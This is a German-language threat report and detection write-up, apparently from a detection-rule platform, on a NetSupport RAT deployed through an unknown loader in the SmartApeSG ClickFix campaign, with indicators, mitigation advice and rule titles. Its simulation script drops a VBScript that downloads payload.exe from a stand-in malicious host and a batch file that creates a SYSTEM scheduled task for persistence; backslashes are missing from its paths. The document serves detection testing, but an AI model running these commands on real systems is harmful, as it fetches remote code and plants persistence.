NetSupport RAT durch einen unbekannten Loader bereitgestellt
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Ein zuvor unbekanntes Fernzugriffswerkzeug wurde beobachtet, das ein bösartiges NetSupport Manager RAT-Paket lieferte. Die anfängliche Malware kommunizierte mit einem Command-and-Control-Server bei 89.110.110.119 über TCP-Port 443 unter Verwendung von codiertem Datenverkehr. Die Kampagne, die als SmartApeSG ClickFix verfolgt wird, nutzte bösartige Skripte und ein CAB-Archiv, um das NetSupport RAT auf den Opfer-Systemen zu installieren.
Untersuchung
Die Untersuchung deckte mehrere Indikatoren auf, darunter bösartige URLs, IP-Adressen und Dateien, die im Verzeichnis ProgramData geschrieben wurden. Das anfängliche RAT lieferte ein Batch-Skript, das das NetSupport RAT aus einem setup.cab -Archiv extrahierte und installierte. Nach Abschluss der Installation wurden die unterstützenden Dateien entfernt, um sichtbare Spuren der Aktivität zu reduzieren.
Minderung
Organisationen sollten den Netzwerkverkehr zu den identifizierten bösartigen IP-Adressen und Domains blockieren und die Erstellung der referenzierten Dateien unter ProgramDataüberwachen. Endpunktschutzmaßnahmen sollten die Ausführung verdächtiger VBScript- und Batch-Dateien erkennen, während die Netzwerküberwachung strengere Kontrollen für codierten Datenverkehr über Port 443.
Antwort
Verteidiger sollten bei den aufgeführten Indikatoren Alarm schlagen, betroffene Systeme isolieren und eine forensische Analyse durchführen, um etwaige Persistenzmechanismen aufzudecken. Bösartige Dateien sollten entfernt, unautorisierte Änderungen rückgängig gemacht und Firewall-Richtlinien aktualisiert werden, um ausgehende Kommunikation mit der identifizierten Command-and-Control-Infrastruktur zu blockieren.
Angriffsfluss
Erkennungen
LOLBAS WScript / CScript (über Prozess_erstellung)
Ansehen
Möglicher NetSupport Manager-Binary, der aus verdächtigem Verzeichnis ausgeführt wird (über Prozess_erstellung)
Ansehen
Verdächtiges Command-and-Control durch ungewöhnliche Top-Level-Domain (TLD) DNS-Anfrage (über dns)
Ansehen
IOCs (HashSha256) zur Erkennung: Unidentifizierter RAT drückt NetSupport RAT
Ansehen
IOCs (SourceIP) zur Erkennung: Unidentifizierter RAT drückt NetSupport RAT
Ansehen
IOCs (DestinationIP) zur Erkennung: Unidentifizierter RAT drückt NetSupport RAT
Ansehen
Erkennung der NetSupport RAT-Infektion über Skript- und CAB-Dateien [Windows-Datei-Ereignis]
Ansehen
Erkennung der anfänglichen und NetSupport RAT C2-Kommunikation [Windows-Netzwerkverbindung]
Ansehen
Simulation Ausführung
Voraussetzung: Die Telemetrie & Baseline-Überprüfung muss bestanden haben.
Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der gegnerischen Technik (TTP), die zur Auslösung der Erkennungsregel entworfen wurde. Die Befehle und Erzählungen MÜSSEN genau die identifizierten TTPs widerspiegeln und darauf abzielen, die genaue Telemetrie zu erzeugen, die von der Erkennungslogik erwartet wird.
-
Angriffserzählung & Befehle:
Ein Angreifer, der sich auf einem Windows-Host initial Zugang verschafft hat, legt drei bösartige Artefakte inC:ProgramData:processor.vbs– ein Visual Basic-Skript, das die Haupt-RAT-Binary herunterlädt.token.bat– eine Batch-Datei, die eine geplante Aufgabe zur Persistenz erstellt.setup.cab– ein CAB-Archiv, das eine DLL enthält, die inC:ProgramDataabgelegt und später überrundll32.exe geladen wird..
Der Angreifer führt dann nacheinander jede Datei aus, wodurch Prozess-Erstellungsereignisse ausgelöst werden, die die genauen Dateipfade enthalten, die von der Sigma-Regel benötigt werden.
-
Regression Testskript:
# netSupport_RAT_simulation.ps1 # ------------------------------------------------- # ZWECK: Reproduktion der Telemetrie einer NetSupport RAT-Infektion # ------------------------------------------------- $targetDir = "C:ProgramData" # Stellen Sie sicher, dass das Verzeichnis existiert if (-Not (Test-Path $targetDir)) { New-Item -ItemType Directory -Path $targetDir -Force } # 1. processor.vbs ablegen $vbsPath = Join-Path $targetDir "processor.vbs" Set-Content -Path $vbsPath -Value @" Set objXML = CreateObject("MSXML2.XMLHTTP") objXML.open "GET","http://malicious.example.com/payload.exe",False objXML.send "@" # 2. token.bat ablegen $batPath = Join-Path $targetDir "token.bat" Set-Content -Path $batPath -Value @" schtasks /create /tn "NetSupportPersist" /tr "$targetDirsetup.cab" /sc onlogon /ru System "@ # 3. setup.cab ablegen (Dummy-CAB mit einer Textdatei) $cabPath = Join-Path $targetDir "setup.cab" $tempDir = "$env:TEMPcab_temp" New-Item -ItemType Directory -Path $tempDir -Force | Out-Null Set-Content -Path "$tempDirdummy.txt" -Value "Platzhalter" # Ein CAB erstellen – erfordert makecab (eingebautes Windows-Tool) & makecab.exe "$tempDirdummy.txt" $cabPath # Ausführungsphase – Auslösen der Erkennungen Write-Host "`n[+] processor.vbs wird ausgeführt" cscript.exe //B //Nologo $vbsPath Write-Host "[+] token.bat wird ausgeführt" cmd.exe /c $batPath Write-Host "[+] setup.cab wird über rundll32 (simulierter Ladevorgang) ausgeführt" rundll32.exe "$cabPath",DummyEntryPoint # Temporären Ordner bereinigen, der für die CAB-Erstellung verwendet wurde Remove-Item -Recurse -Force $tempDir -
Bereinigung Befehle:
# netSupport_RAT_cleanup.ps1 $targetDir = "C:ProgramData" $files = @("processor.vbs","token.bat","setup.cab") foreach ($f in $files) { $fullPath = Join-Path $targetDir $f if (Test-Path $fullPath) { Remove-Item -Force $fullPath } } # Die von token.bat erstellte geplante Aufgabe entfernen schtasks /delete /tn "NetSupportPersist" /f Write-Host "Bereinigung abgeschlossen."